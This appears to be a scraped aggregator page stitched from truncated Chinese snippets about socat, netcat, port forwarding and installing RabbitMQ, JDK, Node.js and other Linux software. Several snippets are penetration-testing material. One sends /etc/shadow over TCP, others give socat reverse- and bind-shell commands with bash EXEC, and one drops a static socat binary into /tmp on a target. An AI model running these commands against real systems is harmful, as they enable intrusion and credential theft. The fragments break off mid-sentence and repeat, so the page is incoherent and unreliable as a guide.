目录 0x01 socat介绍 0x02 socat进行文件传输 0x03 socat正向端口转发 0x04 socat反向端口转发 注: 边界机器 Ubuntu 192.168.222.177 内网机器...win7 192.168.222.137 0x01 socat介绍 socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】...,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。...安装的话,我们可以直接下载安装的,如果你非要去手动编译的话,就自行去研究吧。...apt-get install socat 完成后来检验一下是否安装成功 socat -h 0x02 socat进行文件传输 首先,我们去边界机器执行 socat -u /etc/shadow TCP4
TCP服务端模式 socat PTY,link=/dev/ttyV1,b9600,cs8,raw,echo=0, TCP-LISTEN:8080,fork 2.端口转发 2.1 TCP端口转发 socat...2.2 TCP端口转UDP socat TCP-LISTEN:8081,fork,reuseaddr UDP:192.168.1.15:8081 2.3 TCP转本地域套接字 socat TCP-LISTEN...在外部公网机器上执行 socat tcp-listen:1234 tcp-listen:3389 在内部私网机器上执行 socat tcp:outerhost:1234 tcp:192.168.1.34...在客户端登录时,输入命令socat - TCP:localhost:8080 4.网络测试 在终端1上启动服务器监听TCP,输入命令: socat - TCP-LISTEN:8080 在终端2上启动客户端连接...TCP,输入命令 socat - TCP:localhost:8080 在终端2上输入内容,就能在终端1上显示 5.文件传输 在服务端接收文件时,执行命令: socat -u TCP-LISTEN:8080
socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的 通道。...用socat就不用這麼麻煩了: on host 1: c:\>socat -u open:myfile.exe,binary tcp-listen:999 on host 2: c:\>socat...只要能夠在內部運行socat就可以了。...外部: c:\>socat tcp-listen:1234 tcp-listen:3389 內部: c:\>socat tcp:outerhost:1234 tcp:192.168.12.34:3389...socat還具有一個獨特的讀寫分流功能,比如: c:\>socat open:read.txt!!
用socat试几个netcat常用的用法,对比如下: 1....听tcp 12345端口 # nc -l 127.0.0.1 12345 # socat tcp-listen:12345 – 2....向远处tcp 12345端口发点字 # echo “test” | nc 127.0.0.1 12345 # echo “test” | socat – tcp-connect:127.0.0.1:...听udp 23456端口 # nc -u -l 127.0.0.1 23456 # socat udp-listen:23456 – 4....向远处udp 23456端口发点字 # echo “test” | nc -u 127.0.0.1 23456 # echo “test” | socat – udp-connect:127.0.0.1
以前写过一篇使用iptables进行端口转发的文章, 今天写一下使用socat将本地端口的流量转发到远程机上的过程. 不要问我这样做有什么用, 我也不知道....安装 $ sudo apt install socat 转发TCP端口 $ sudo vim /etc/systemd/system/socat.service # 写入如下内容 [Unit] Description...=socat (https://www.zhukun.net) After=network-online.target Wants=network-online.target [Service] User...$ sudo systemctl start socat_udp.service $ sudo systemctl enable socat.service $ sudo systemctl enable...socat_udp.service
socat是一个用于建立双向数据流传输的工具,它可以在不同的网络层上创建连接,并支持多种协议,如TCP、UDP、SSL等。...下载socat源码 下载地址:http://www.dest-unreach.org/socat/download/ 我选择的这个版本:socat-1.7.3.4.tar.g 交叉编译 tar xvzf...socat-1.7.3.4.tar.gz mkdir build cd build ..../socat-1.7.3.4/configure --prefix=/home/fens/workplace/socat/nuc/install CC=arm-none-linux-gcc --host...测试运行 这里是用了它的tcp端口转发功能,命令如下: socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.110:9090 这个命令就是将本地的8080
linux下,如何安装rpm命令? 更新时间:2019-05-20 07:50 最满意答案 rpm默认就安装在了发行版本里,比如RedHat和centos。...RPM是一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件。与Dpkg类似。 RPM文件在Linux系统中的安装最为简便。...RPM是一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件。与Dpkg类似。 RPM文件在Linux系统中的安装最为简便。...RPM是一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件。与Dpkg类似。 RPM文件在Linux系统中的安装最为简便。...rpm软件包的信息 2 查询rpm软件包安装文件的信息 3 安装rpm软件包到当前linux系统 4 从linux系统中卸载已安装的rpm软件包 5 升级当前linux系统的rpm软件包 (1)#rpm
的下载地址 https://mirrors.edge.kernel.org/pub/software/scm/git/ http://mirrors.jenkins.io/war-stable/ 找到对应想安装的版本...下载下来 git使用make命令进行编译,可以指定路径也可以不指定目录 默认安装到了,usr/local/bin下面了,然后在root下加上软连接 ln -snf /usr/local/bin/git
包下载地址:https://pkgs.org/download/socat 安装 安装之前需要查看自己系统的版本 # uname -a Linux admin.blog.test 3.10.0-1160.21.1....el7.x86_64 #1 SMP Tue Mar 16 18:28:22 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 可以看到我的系统是el7.x86_64版本的...下载rabbitmq-server、erlang、socat都需要和系统版本对应 安装rabbitmq-server前必须安装erlang和socat,因为rabbitmq-server需要依赖这两个...安装socat 安装socat只需要装最新的就ok了 wget http://mirror.centos.org/centos/7/os/x86_64/Packages/socat-1.7.3.2-2....rabbitmq-server 安装完erlang和socat后,才可以安装rabbitmq-server,下载地址:https://github.com/rabbitmq/rabbitmq-server
Socat 语法比 Netcat 难Socat 普及性不如 Netcat。默认情况下,几乎每个 Linux 发行版都安装了 Netcat。但它们默认情况下很少安装 Socat。...技术 1:Python我们要讨论的第一种技术仅适用于 Linux 机器,因为它们几乎总是默认安装 Python。该技术有三个操作步骤:1. ...Kali 默认没有安装 rlwrap,所以首先使用 sudo apt install rlwrap 安装它。...Linux 目标的等效命令如下:socat TCP:: EXEC:"bash -li"Bind Shells在 Linux 目标上,我们将使用以下命令:socat...这意味着目标必须安装 socat。然而大多数机器默认情况下没有安装 socat,但我们可以上传预编译的 socat 二进制文件到目标上,然后就可以正常执行。
在centos7上安装RabbitMQ 记录一下直接安装RabbitMQ所遇到的问题(用docker安装真的比较方便) step1....下载所需要的安装包 RabbitMQ依赖erlang,socat,所以需要下载erlang, socat, RabbitMQ三个安装包 1....下载socat,在http://www.rpmfind.net/linux/rpm2html/search.php?...query=socat(x86-64)页面下载centos7版 本的socat的rpm安装包 这里下载了socat-1.7.3.2-2.el7.x86_64.rpm 1....安装rpm包 sudo rpm -ivh erlang-21.1.4-1.el7.centos.x86_64.rpm sudo rpm -ivh socat-1.7.3.2-2.el7.x86_64.rpm
Linux的使用相信大家都要用到java吧!...在使用java前我们得先安装jdk以及配置环境变量等工作;下面小编给大家分享关于Linux安装jdk的详细步骤: 一、登录虚拟机进入终端切换到root用户,输入:su 接着输入密码 再输入:cd … 回到...root用户 二、查看Linux系统是否有自带的jdk: 1、输入:java -version 2、发现有输入:rpm -qa | grep java 检测jdk的安装包,(注意:rpm命令符没有时记得下载一个输入...六、下载完后用FileZilla文件传输器,把jdk安装包传到虚拟机对应的文件夹当中;或者直接在Linux下载即可 七、在终端进入对应的文件的目录,进一步解压,输入tar -zxvf...、输入:javac 3、输入:java 到此Linux安装jdk就完成啦!
linux安装Node.js(详细)Node.js安装教程 文章目录 linux安装Node.js(详细)Node.js安装教程 1:下载 2:解压 3:移动目录 1:创建目录 2:移动目录并重命名 4...:设置环境变量 5:刷新修改 6:安装完成,查看版本号 1:下载 wget https://nodejs.org/dist/v14.17.4/node-v14.17.4-linux-x64.tar.xz...更多版本选择: ===》更多nodejs版本下载 2:解压 tar xf node-v14.17.4-linux-x64.tar.xz 可以查看当前目录下的文件,执行:ls (命令) 解压成功后可以选择删除压缩包...:rm -rf node-v14.17.4-linux-x64.tar.xz 其中:-f 会提醒是否删除 ;-rf 会强制删除,不会提醒。...5:刷新修改 source /etc/profile 6:安装完成,查看版本号 node版本号: node -v npm版本号: npm -v 注意:配合pm2使用npm可以让程序在后台运行。
升级nc为完全交互 整个流程是在第一步的基础上,但是需要用到的工具在linux上,所以把攻击机切换为linux。...使用socat socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。...缺点也很明显,只能在linux下面运行 下载地址: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_...攻击机: # 首先安装 $ sudo apt install socat # 执行 $ socat file:`tty`,raw,echo=0 tcp-listen:4444.../binaries/linux/x86_64/socat -O /tmp/socat # 运行 $ chmod +x /tmp/socat $ /tmp/socat exec:'
首先介绍一下个人的安装环境是Linux-centos7; 一、安装和配置rabbitmq的准备工作: 下载erlang: wget http://www.rabbitmq.com/releases...wget http://www.rabbitmq.com/releases/rabbitmq-server/v3.6.5/rabbitmq-server-3.6.5-1.noarch.rpm 下载socat...: wget http://repo.iotti.biz/CentOS/7/x86_64/socat-1.7.3.2-5.el7.lux.x86_64.rpm 个人下载完成如图所示: ?...第二步:安装socat 命令:rpm -ivh socat-1.7.3.2-5.el7.lux.x86_64.rpm ?...注意:如果先安装了rabbitmq,则会出现错误提示信息:在没有先安装socat的情况下安装rabbitmq,如图: ?
目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包...反弹shell Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此...我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里:http://brieflyx.me/2015/linux-tools/socat-introduction/ 安装Socat...的方法很简单: Ubuntu等可以直接使用 apt-get install socat 命令进行安装 也可以去官网下载源码包:http://www.dest-unreach.org/socat 攻击机本地监听命令...目标机: 系统:Linux IP:192.168.1.8 攻击机: 系统:Linux IP:47.xxx.xxx.72 假设我们从目标机反弹 shell 到攻击机 。
linux安装.net 下载.net https://dotnet.microsoft.com/download/thank-you/dotnet-sdk-2.1.4-linux-x64-binaries...下载安装包后执行命令: dotnet-sdk-2.1.302-linux-x64.tar.gz yum install libicu -y cd /root ln -s /data1/soft /data.../soft tar zxvf dotnet-sdk-2.1.302-linux-x64.tar.gz -C /data1/soft/dotnet/ echo 'export DONET_ROOT=$PATH
1、安装zookeeper,将zookeeper上传到三个服务器,保存在/usr/local/zookeeper目录下,解压tar包 tar -xzvf zookeeper-3.4.6.tar.gz...ZOOKEEPER=/usr/local/zookeeper/zookeeper-3.4.6 PATH=PATH:ZOOKEEPER/bin 并执行 source /etc/profile 6、安装成功
本章节我们将为大家介绍 Linux 的安装,安装步骤比较繁琐,现在其实云服务器挺普遍的,价格也便宜,如果直接不想搭建,也可以直接买一台学习用用,参考各大云服务器比较。...-1503-01.iso : 网络安装镜像(从网络安装或者救援系统) CentOS-7.0-x86_64-Everything-1503-01.iso: 对完整版安装盘的软件进行补充,集成所有软件。...64位Linux系统。...旧版本下载地址:https://wiki.centos.org/Download 接下来你需要将下载的Linux系统刻录成光盘或U盘。...注:你也可以在Window上安装VMware虚拟机来安装Linux系统。 ---- Linux 安装步骤 1、首先,使用光驱或U盘或你下载的Linux ISO文件进行安装。 界面说明: ?
本文总结了Linux端口转发的一些常用方法,欢迎补充和指正。...(1)安装ncat yum install nmap-ncat -y (2)监听本机 9876 端口,将数据转发到 192.168.172.131的 80 端口 ncat --sh-exec "ncat...192.168.172.131 80" -l 9876 --keep-open 06、socat 端口转发 socat是一个多功能的网络工具,使用socat进行端口转发。...(1)socat安装 yum install -y socat (2)在本地监听12345端口,并将请求转发至192.168.172.131的22端口。...socat TCP4-LISTEN:12345,reuseaddr,fork TCP4:192.168.172.131:22 07、 portmap 端口转发 Linux 版的lcx,内网端口转发工具。
领取专属 10元无门槛券
手把手带您无忧上云